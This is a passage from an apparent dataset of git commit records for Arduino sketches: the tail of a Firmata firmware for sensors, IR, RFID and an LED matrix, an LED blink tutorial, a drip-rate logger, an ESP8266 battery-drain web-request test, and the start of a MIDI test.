&& reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n two bit-arrays that track Digital I\/O and PWM status\n*\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n*\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n SYSEX-BASED commands\n ============================================================================*\/\nvoid setIRrecv(byte pin) {\n irrecv = new IRrecv(pin);\n}\n\nvoid irReceiver() { \/\/68AE1A03\n byte sendByte = 0;\n unsigned long result = 0;\n if (irrecv != NULL) {\n if (irrecv->decode(&results)) {\n result = results.value;\n Firmata.write(START_SYSEX);\n Firmata.write(0x04);\n Firmata.write(0x10);\n for (int i = 3; i >= 0; i--) {\n sendByte = (result >> (8 * i)) & 0xff;\n char msb = (sendByte >> 4) + 0x30;\n if (msb > 0x39) msb += 7;\n Firmata.write(msb);\n char lsb = (sendByte & 0x0f) + 0x30;\n if (lsb > 0x39) lsb += 7;\n Firmata.write(lsb);\n }\n Firmata.write(END_SYSEX);\n irrecv->resume(); \/\/ Receive the next value\n }\n }\n}\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n byte strLen;\n String strData;\n \/\/ir send\n byte codeType, bits;\n unsigned long sendCode;\n switch (command) {\n case 1:\n pinMode(argv[0] & 0x0f, OUTPUT);\n pinMode(argv[1] & 0x0f, INPUT);\n digitalWrite(argv[0] & 0x0f, LOW);\n delayMicroseconds(2);\n digitalWrite(argv[0] & 0x0f, HIGH);\n delayMicroseconds(10);\n digitalWrite(argv[0] & 0x0f, LOW);\n Firmata.write(START_SYSEX);\n Firmata.write(1);\n Firmata.write(argv[0] & 0x0f);\n Firmata.write(argv[1] & 0x0f);\n {\n String strData = String(pulseIn(argv[1] & 0x0f, HIGH) \/ 58);\n data = strData.length();\n for (int i = 0; i < data; i++) {\n Firmata.write(strData.charAt(i));\n }\n }\n Firmata.write(END_SYSEX);\n break;\n case 4:\n switch (argv[0]) {\n case 4:\n DHT.read11(argv[1]);\n Firmata.write(START_SYSEX);\n Firmata.write(4);\n Firmata.write(4);\n Firmata.write(argv[1]);\n strData = String(int(DHT.humidity * 100)) + String(int(DHT.temperature * 100));\n \/\/Serial.println(strData);\n strLen = strData.length();\n for (int i = 0; i < strLen; i++) {\n Firmata.write(strData.charAt(i));\n }\n Firmata.write(END_SYSEX);\n break;\n case 7: \/\/Buzzer f004070b131805f7\n pinMode(argv[1], OUTPUT);\n tone(argv[1], (String(argv[2], HEX)).toInt() * 100 +\n (String(argv[3], HEX)).toInt(), argv[4] * 100);\n break;\n case 8:\n \/\/ 00: init , 01:display , 02: clear\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/init f0040800060708f7\n if (mm == NULL) {\n mm = new MaxMatrix();\n mm->init(argv[2], argv[3], argv[4], 1);\n }\n break;\n case 1: \/\/display f0040801FF02040810204080f7\n for (byte i = 0; i < 16; i = i + 2) {\n mm->setColumn(i \/ 2, asc2hex(argv + i + 2));\n }\n break;\n case 2: \/\/clear f0040802f7\n mm->clear();\n break;\n case 3: \/\/Intensity f00408030ff7\n mm->setIntensity(argv[2]);\n break;\n }\n break;\n case 9: \/\/IRremote\n codeType = argv[1];\n bits = argv[2];\n sendCode = argv[3];\n for (int i = 4; i <= 6; i++) {\n sendCode = (sendCode << 8) | argv[i];\n }\n switch (argv[1]) { \/\/argv[1] = codeType\n case 4: \/\/NEC\n \/\/irsend.sendNEC(0x20DF10EF, bits);\n \/\/irsend.sendNEC(sendCode, bits);\n if (irrecv != NULL) {\n irrecv->enableIRIn();\n }\n break;\n }\n Firmata.write(START_SYSEX);\n Firmata.write(9);\n Firmata.write('O');\n Firmata.write('K');\n Firmata.write(END_SYSEX);\n break;\n case 10:\n \/\/ 00: init , 01:disable\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/init receiver pin\n setIRrecv(argv[2]);\n irrecv->enableIRIn();\n break;\n case 1: \/\/disable receiver pin\n \/\/irrecv = NULL;\n break;\n }\n break;\n case 15:\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/ init RFID\n if (mfrc522 == NULL) {\n mfrc522 = new MFRC522(SS_PIN, RST_PIN);\n SPI.begin();\n mfrc522->PCD_Init();\n }\n break;\n case 1: \/\/ start RFID\n if (mfrc522 != NULL) {\n rfidEnable = true;\n }\n break;\n case 2: \/\/ stop RFID\n if (mfrc522 != NULL) {\n rfidEnable = false;\n }\n break;\n case 3: \/\/ change RFID\n if (mfrc522 != NULL) {\n }\n break;\n }\n break;\n case 20: \/\/Joypad\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/board.board.send([0xf0,0x04,0x14,1,0,1,0xf7]);\n if (joypad == NULL) {\n joypad = new Joypad();\n }\n joypad->init(argv[2], argv[3]);\n break;\n case 1: \/\/board.board.send([0xf0,0x04,0x14,1,0,1,2,3,0xf7]);\n if (joypad == NULL) {\n joypad = new Joypad();\n }\n joypad->init(argv[2], argv[3], argv[4], argv[5]);\n break;\n case 2: \/\/start\n joypad->start();\n break;\n case 3: \/\/stop\n joypad->stop();\n break;\n }\n break;\n }\n break;\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"10-bit addressing not supported\");\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n wireWrite(data);\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= I2C_MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = (int)I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = slaveRegister;\n query[queryIndex].bytes = data;\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr == slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < I2C_MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].reg;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n}\n\n\/*==============================================================================\n SETUP()\n ============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n\n if (isI2CEnabled) {\n disableI2CPins();\n }\n\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n\n \/* send digital inputs to set the initial state on the host computer,\n since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n \/\/ to use a port other than Serial, such as Serial1 on an Arduino Leonardo or Mega,\n \/\/ Call begin(baud) on the alternate serial port and pass it to Firmata to begin like this:\n \/\/ Serial1.begin(57600);\n \/\/ Firmata.begin(Serial1);\n \/\/ then comment out or remove lines 701 - 704 below\n\n Firmata.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Only needed for ATmega32u4-based boards (Leonardo, etc).\n }\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n LOOP()\n ============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n if (joypad != NULL && joypad->state()) {\n joypad->loop();\n }\n\n irReceiver();\n\n if (rfidEnable) {\n if (mfrc522->PICC_IsNewCardPresent() && mfrc522->PICC_ReadCardSerial()) {\n if (!rfidTouch) {\n Firmata.write(START_SYSEX);\n byte len = mfrc522->uid.size;\n for (byte i = 0; i < len; i++) {\n Firmata.write(strhex[mfrc522->uid.uidByte[i] >> 4]);\n Firmata.write(strhex[mfrc522->uid.uidByte[i] & 0x0f]);\n }\n Firmata.write(END_SYSEX);\n rfidTouch = true;\n }\n rfidTouchScan = 0;\n } else {\n if (rfidTouchScan++ == 2 && rfidTouch) {\n rfidTouch = false;\n Firmata.write(START_SYSEX);\n Firmata.write(0);\n Firmata.write(END_SYSEX);\n }\n }\n }\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}\n\nbyte asc2hex(byte * array) {\n byte b = 0;\n if (*array >= 0x41 && *array <= 0x66) {\n b = (*array & 0x0F) + 9 << 4;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b = (*array - 0x30) << 4;\n }\n array++;\n if (*array >= 0x41 && *array <= 0x66) {\n b |= (*array & 0x0F) + 9;\n } else if (*array >= 0x30 && *array <= 0x39) {\n b |= (*array - 0x30);\n }\n return b;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'waFirmata_buzzer_ultrasonic_dht_MaxMatrix_MFRC522_IR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfa3cbe5e99f703c775b727e957fdf0eabea9541","subject":"MakesLEDlightsBlink","message":"MakesLEDlightsBlink\n","repos":"ZeWaPr\/twibble","old_file":"FlashingLEDlights.ino","new_file":"FlashingLEDlights.ino","new_contents":"\n\/\/ First, we're going to make some variables.\n\/\/ This is our \"shorthand\" that we'll use throughout the program:\n\nint led1 = D0; \/\/ Instead of writing D0 over and over again, we'll write led1\n\/\/ You'll need to wire an LED to this one to see it blink.\n\nint led2 = D7; \/\/ Instead of writing D7 over and over again, we'll write led2\n\/\/ This one is the little blue LED on your board. On the Photon it is next to D7, and on the Core it is next to the USB jack.\n\n\/\/ Having declared these variables, let's move on to the setup function.\n\/\/ The setup function is a standard part of any microcontroller program.\n\/\/ It runs only once when the device boots up or is reset.\n\nvoid setup() {\n\n \/\/ We are going to tell our device that D0 and D7 (which we named led1 and led2 respectively) are going to be output\n \/\/ (That means that we will be sending voltage to them, rather than monitoring voltage that comes from them)\n\n \/\/ It's important you do this here, inside the setup() function rather than outside it or in the loop function.\n\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n\n}\n\n\/\/ Next we have the loop function, the other essential part of a microcontroller program.\n\/\/ This routine gets repeated over and over, as quickly as possible and as many times as possible, after the setup function is called.\n\/\/ Note: Code that blocks for too long (like more than 5 seconds), can make weird things happen (like dropping the network connection). The built-in delay function shown below safely interleaves required background activity, so arbitrarily long delays can safely be done if you need them.\n\nvoid loop() {\n \/\/ To blink the LED, first we'll turn it on...\n digitalWrite(led1, HIGH);\n digitalWrite(led2, HIGH);\n\n \/\/ We'll leave it on for 1 second...\n delay(1000);\n\n \/\/ Then we'll turn it off...\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n\n \/\/ Wait 1 second...\n delay(1000);\n\n \/\/ And repeat!\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'FlashingLEDlights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d49f23ecd3b677f77095c39c2631990a9f862445","subject":"cleaned code","message":"cleaned code","repos":"dotsonlab\/awsc,dotsonlab\/awsc","old_file":"SterlitechDroprateTests\/SterlitechDroprateTestsClean.ino","new_file":"SterlitechDroprateTests\/SterlitechDroprateTestsClean.ino","new_contents":"\/* Pins in Use:\n IR Sensor: 2\n PRessure sensor on A0\n*\/\n\n #define BOUNCE_DURATION 200 \/\/ define an appropriate bounce time in ms for your switches\n int val; \/\/ variable for reading the serial input\n volatile unsigned long bounceTime=0; \n volatile long dropcount;\n unsigned long drop_num;\n float flowrate;\n unsigned long time_int;\n unsigned long time_set;\n unsigned long timeold;\n unsigned long totaldrops;\n unsigned long totaldropsold;\n float totalvol;\n float dropsize;\n unsigned long steppermax;\n unsigned long steppermin;\n const int feedppin=A0;\n int sfeedp = 0;\n int feedp = 0;\n\n\nvoid setup(){ \n Serial.begin(9600);\n attachInterrupt(0, dropcount_fun, RISING); \/\/pin 2 tr reciever\n pinMode(feedppin,INPUT);\/\/pin A0\n drop_num = 2;\n dropcount = 3;\n timeold = 0;\n totaldrops = 0;\n totaldropsold = 0;\n totalvol = 0;\n \n \/\/make sure this is correct!\n dropsize = 0.047;\/\/how to find this\n \/\/make sure this is correct!\n\n flowrate = 0;\n pressures(); \n pressures(); \n pressures(); \n pressures(); \n pressures(); \n pressures();\n Serial.print(\"Time\");Serial.print(\"\\t\");\n Serial.print(\"PSI\");Serial.print(\"\\t\");\n Serial.print(\"Drops\");Serial.print(\"\\t\");\n Serial.print(\"Vol mL\");Serial.print(\"\\t\");\n Serial.println(\"flowrate mL\/min\");\n} \n\n void loop() { \n if (dropcount >= drop_num) { \n \/\/Update every 30 counts, increase this for better DPM resolution,\n \/\/decrease for faster update\n time_int = ((millis() - timeold));\n timeold = millis();\n totaldrops = totaldropsold + dropcount;\n totaldropsold = totaldrops;\n totalvol = totaldrops * dropsize; \/\/reports in mL\n flowrate = dropcount * dropsize \/ time_int * 1000 * 60; \/\/report in mL per min\n dropcount = 0;\n pressures();\n pressures();\n pressures();\n pressures();\n pressures();\n \/\/Serial.print(\"Time: \");\n Serial.print(timeold);Serial.print(\"\\t\");\n \/\/Serial.print(\" Pressure: \");\n Serial.print(sfeedp);Serial.print(\"\\t\");\n \/\/Serial.print(\" Drops: \"); \n Serial.print(totaldrops);Serial.print(\"\\t\");\n \/\/Serial.print(\" Volume (mL): \");\n Serial.print(totalvol);Serial.print(\"\\t\");\n \/\/Serial.print(\" FlowRate (mL\/min): \");\n Serial.println(flowrate);}\n delay(1);\n if (Serial.available()){\/\/type 0 for reset\n val = Serial.read();\n }\n if (val != 1) {\/\/ if zero is sent by serial command it resets\n totalvol = 0;\n totaldropsold = 0; \n Serial.println(\"RESET\"); \n }\n val=1; \/\/ save the new state in our variable\n } \n void dropcount_fun(){ \/\/ this is the interrupt handler for water drops\n if(millis() > bounceTime){\n dropcount++;\n bounceTime = millis() + BOUNCE_DURATION; \/\/ set whatever bounce time in ms is appropriate\n }\n}\nvoid pressures(){\/\/read and average pressure values\n int junk = analogRead(feedppin);\n feedp = (analogRead(feedppin)*.7018-54.74)*.868;\n sfeedp = (sfeedp+feedp)\/2;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SterlitechDroprateTests\/SterlitechDroprateTestsClean.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5551ea26540973fe85d86df5534a2fbfcfe5a4cc","subject":"Added simple sketch to test duration of battery pack.","message":"Added simple sketch to test duration of battery pack.\n","repos":"commonslabgr\/reactiongame","old_file":"DrainBattery.ino","new_file":"DrainBattery.ino","new_contents":"\/**\n * BatteryDrain.ino\n *\n * Copyright (C) 2016 by CommonsLab <info@commonslab.gr>\n * \n * Repeatedly request a web page and blink an LED in order to see how long a battery will last.\n * (Based on LGPLv2 licensed example code of github.com\/esp8266\/arduino.)\n *\/\n\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n#include <ESP8266HTTPClient.h>\n\nESP8266WiFiMulti MyWiFi;\n\nvoid setup() {\n pinMode(D1, OUTPUT); \/\/ Initialize the LED_BUILTIN pin as an output\n\n Serial.begin(115200);\n\n for(uint8_t t = 4; t > 0; t--) {\n Serial.printf(\"[SETUP] WAIT %d...\\n\", t);\n Serial.flush();\n delay(1000);\n }\n\n MyWiFi.addAP(\"commons|lab\", \"PASSWORD\");\n\n}\n\nvoid loop() {\n \/\/ wait for WiFi connection\n if((MyWiFi.run() == WL_CONNECTED)) {\n\n digitalWrite(D1, HIGH); \/\/ Turn the LED on \n\n HTTPClient http;\n\n Serial.print(\"[HTTP] begin...\\n\");\n \/\/ configure traged server and url\n \/\/http.begin(\"https:\/\/192.168.1.12\/test.html\", \"7a 9c f4 db 40 d3 62 5a 6e 21 bc 5c cc 66 c8 3e a1 45 59 38\"); \/\/HTTPS\n \/\/http.begin(\"http:\/\/192.168.1.12\/test.html\"); \/\/HTTP\n http.begin(\"http:\/\/etherpad.commonslab.gr\/\"); \/\/HTTP\n\n Serial.print(\"[HTTP] GET...\\n\");\n \/\/ start connection and send HTTP header\n int httpCode = http.GET();\n\n \/\/ httpCode will be negative on error\n if(httpCode > 0) {\n \/\/ HTTP header has been send and Server response header has been handled\n Serial.printf(\"[HTTP] GET... code: %d\\n\", httpCode);\n\n \/\/ file found at server\n if(httpCode == 503) {\n String payload = http.getString();\n Serial.println(payload);\n }\n } else {\n Serial.printf(\"[HTTP] GET... failed, error: %s\\n\", http.errorToString(httpCode).c_str());\n }\n\n http.end();\n }\n digitalWrite(D1, LOW); \/\/ Turn the LED off \n\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DrainBattery.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"99f584e26109b564506730f8ef79a43b7fe3defc","subject":"Create MIDI_test_v1.ino","message":"Create MIDI_test_v1.ino","repos":"marmilicious\/FastLED_examples","old_file":"MIDI_test_v1.ino","new_file":"MIDI_test_v1.ino","new_contents":"\n\/\/***************************************************************\n\/\/ Basic setup for testing out receiving MIDI on a Teensy 3.2\n\/\/\n\/\/ Wiring is like this:\n\/\/ 